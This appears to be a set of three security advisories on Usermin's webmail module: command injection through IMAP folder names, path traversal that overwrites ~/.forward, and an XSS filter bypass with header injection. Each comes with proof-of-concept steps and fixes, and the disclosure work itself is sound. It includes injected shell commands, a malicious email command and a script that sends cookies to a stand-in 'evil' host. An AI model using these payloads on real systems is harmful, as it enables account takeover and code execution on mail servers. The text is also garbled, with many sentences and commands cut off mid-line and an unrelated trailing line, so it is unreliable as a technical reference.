# 1. OS Command Injection via IMAP Folder Name in delete_folder of Usermin's Read Mail Module
- **Product:** Usermin —
- **Version tested:** 2.570 (latest release, Nov 2026)
- **Vulnerability class:** CWE-78 (OS Command Injection), authenticated
`mailbox/mailbox-lib.pl` builds the folder list from the **IMAP server's
`LIST` response** and interpolates the raw folder name into an unquoted
system("rm -rf $user_module_config_directory/$folder->{'id'}.cache");
A Usermin user can create an IMAP folder with shell metacharacters via any
ordinary IMAP client (Usermin's own folder-creation form restricts the
charset, but external clients do not — and the deletion path performs no
validation at all), then delete that folder in Usermin's web UI. The folder
name is executed as shell commands with the privileges of the Usermin
process — for webmail-only accounts (no shell access) this is a
user-to-shell escalation on the mail server.
**Source** — `mailbox/mailbox-lib.pl:312-338` (folder list from IMAP LIST):
my @irv = &imap_command($ih, "list \"\" \"*\"");
if ($l =~ /LIST\s+\(.*\)\s+("(.*)"|\S+)\s+("(.*)"|\S+)/) {
'id' => $fn, # raw IMAP folder name, unvalidated
**Sink** — `mailbox/mailbox-lib.pl:1031-1041` (`delete_folder`, type 4 = IMAP):
unlink("$user_module_config_directory/$folder->{'id'}.imap");
system("rm -rf $user_module_config_directory/$folder->{'id'}.cache");
1. `system()` with unquoted, unvalidated `$folder->{'id'}` — shell
2. The same unvalidated id is used in `unlink(".../$id.imap")` (arbitrary
file delete via `../`) and `imap_command("delete \"$name\"")` (IMAP
The omission is clearly a bug, not style: the sibling branch for `~/mail`
folders correctly uses `system("rm -rf ".quotemeta($folder->{'file'}))`
Preconditions: authenticated Usermin account, Read Mail module enabled, and
the mail server operating in IMAP mode (`mail_system == 4` in module
config — the recommended multi-server setup).
# 1) create the poisoned folder with any IMAP client
openssl s_client -connect mail.example.com:993
a CREATE "x; touch /tmp/pwned-$(whoami);"
# 2) in Usermin web UI: Read Mail -> folder list -> delete the folder "x; ..."
curl -b 'usess=...' ' &confirmed=1'
sh -c rm -rf /etc/usermin/mailbox/x; touch /tmp/pwned-root;.cache
- Arbitrary command execution as the Usermin process user by any
authenticated webmail user (accounts intentionally shell-less become
- Arbitrary file deletion (`unlink` with `../` in the folder id).
- IMAP command injection against the user's own mail session.
Quote the path: `system("rm -rf ".quotemeta("$user_module_config_directory/$folder->{'id'}.cache"))`
or better, replace `system("rm -rf ...")` with the existing
`remove_tree()`/`unlink_file()` helpers; validate folder ids against the
same charset used by `save_ifolder.cgi` (`/^[a-zA-Z0-9.\-\/ ]+$/`).
# 2. Arbitrary File Write via Attachment-Filename Path Traversal in Usermin's detachall.cgi (Leading to Code Execution as the Victim)
- **Vulnerability class:** CWE-23 / CWE-22 (Path Traversal → arbitrary file write), attacker is an unauthenticated email sender
When a user clicks "Download all attachments", `mailbox/detachall.cgi`
writes every attachment into a temp directory using the **email-declared
filename** without any traversal or charset validation. An attacker who
sends the victim an email with `Content-Disposition: attachment;
filename=../../ ` (or a MIME-encoded name, decoded by
`decode_mimewords`) gets their attachment content written to an arbitrary
path **as the victim's uid** the moment the victim clicks the button.
Overwriting `~/.forward` (or `~/.procmailrc`, `~/.ssh/authorized_keys` in
permissive setups) turns the write into code execution at mail
delivery: an external, pre-auth attacker gains command execution as a
**Filename extraction** — `mailbox/boxes-lib.pl:569-582`:
if ($attach->{'header'}->{'content-disposition'}->[0] =~
$attach->{'filename'} = $1; # allows / and .. unchanged
uuencoded parts likewise (`boxes-lib.pl:672-676`: `'filename' => $2` from
`begin 0644 `). MIME-encoded-word names are fully decoded
later, so `=?UTF-8?B?...?=` yields arbitrary bytes including `../`.
**Sink** — `mailbox/detachall.cgi:37-53`:
$fn = &decode_mimewords($a->{'filename'});
&open_tempfile(FILE, ">$temp/$fn", 0, 1); # 4th arg = notemp
**open_tempfile** (`web-lib-funcs.pl:11477-11491`) — for an absolute path
with `$notemp=1` the only validation is `\r\n\0`; the path is passed
through `translate_filename()` (no callbacks registered for the mailbox
module → passthrough) and opened directly. No `..` normalization, no
`$temp = &transname()` is a fresh absolute temp dir, so
`>$temp/../../../ /victim/.forward` resolves outside it.
# attacker sends one email with the malicious attachment
swaks --to [email protected] --from [email protected] \
--add-header 'Content-Disposition: attachment; filename="../../ /joe/.forward"'
# payload.bin content: "|/bin/sh -c 'curl
# victim opens Read Mail and clicks "Download all attachments"
On click: `/ /joe/.forward` is overwritten with the payload; the
- Arbitrary file write as the victim user (contents fully attacker-chosen).
- Code execution as the victim via `~/.forward`, `~/.procmailrc`, crontabs
(if writable), or any user-writable startup/config file.
- Attacker needs only the ability to send one email; no account required.
In `detachall.cgi`, sanitize `$fn` to a bare filename (`$fn =~ s/.*[\/\\]//`,
reject `..`, strip control chars) or fall back to `fileN. `; also
validate in `open_tempfile` centrally (reject `/` in the final component
# 3. Content-Type Override Bypasses Attachment JavaScript Filtering + Response Header Injection in Usermin's detach.cgi
- **Product:** Usermin —
- **Version tested:** 2.570 (latest release, Nov 2026)
- **Vulnerability class:** CWE-79 (XSS / bypass of the CVE-2022-36880 fix) + CWE-113 (HTTP response header injection)
`mailbox/detach.cgi` (attachment viewer) applies `filter_javascript()` +
`safe_urls()` when serving `text/html`, `image/svg` and `application/xhtml`
attachments — the mitigation for CVE-2022-36880. However, the client can
override the served MIME type with the `type` URL parameter, and the
override branch (1) prints the attacker-controlled type **unescaped into
the response headers** (`Content-type: $in{'type'}` — CRLF injection, URL
params are decoded by ReadParse), and (2) outputs the raw attachment data
**without any JavaScript filtering**. A link of the form
`detach.cgi?...&type=text/html` embedded in an attacker's email therefore
executes arbitrary attacker JavaScript on the Usermin origin when the
victim clicks it — session cookie theft and CSRF against the webmail.
print "Content-type: $in{'type'}\n\n"; # raw header injection
print $attach->{'data'}; # NO filter_javascript/safe_urls
if ($attach->{'type'} =~ /^(text\/html|image\/svg|application\/xhtml)/i && !$in{'save'}) {
print &safe_urls(&filter_javascript($attach->{'data'})); # filtered path
- `$in{'type'}` is fully client-controlled and reaches a raw `print` header
line; ReadParse URL-decodes it, so `%0d%0a` injects arbitrary additional
headers (e.g. an extra `Content-Disposition`, cache poisoning proxies).
- The normal HTML-attachment path filters JavaScript; the override branch
does not — the filter is trivially bypassable with any link.
1. Attacker emails the victim any attachment (e.g. `x.bin` containing
` fetch('//evil/'+document.cookie) `).
2. The email body contains (mailbox module auto-links URLs):
3. Victim clicks → the attachment is served as `text/html` on the Usermin
origin with scripts intact → XSS. Variants: `type=text/html%0d%0aX-Foo: 1`
Session-scope XSS in the webmail (steal mail, act as the victim via the
same-origin API), plus response-header injection. Attacker = any email
In the `$in{'type'}` branch: only serve content-types from a safe
allowlist; always route HTML-ish content through
`&safe_urls(&filter_javascript(...))`; sanitize `$in{'type'}` against
`/^[\w.\/-]+$/` before printing the header.
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
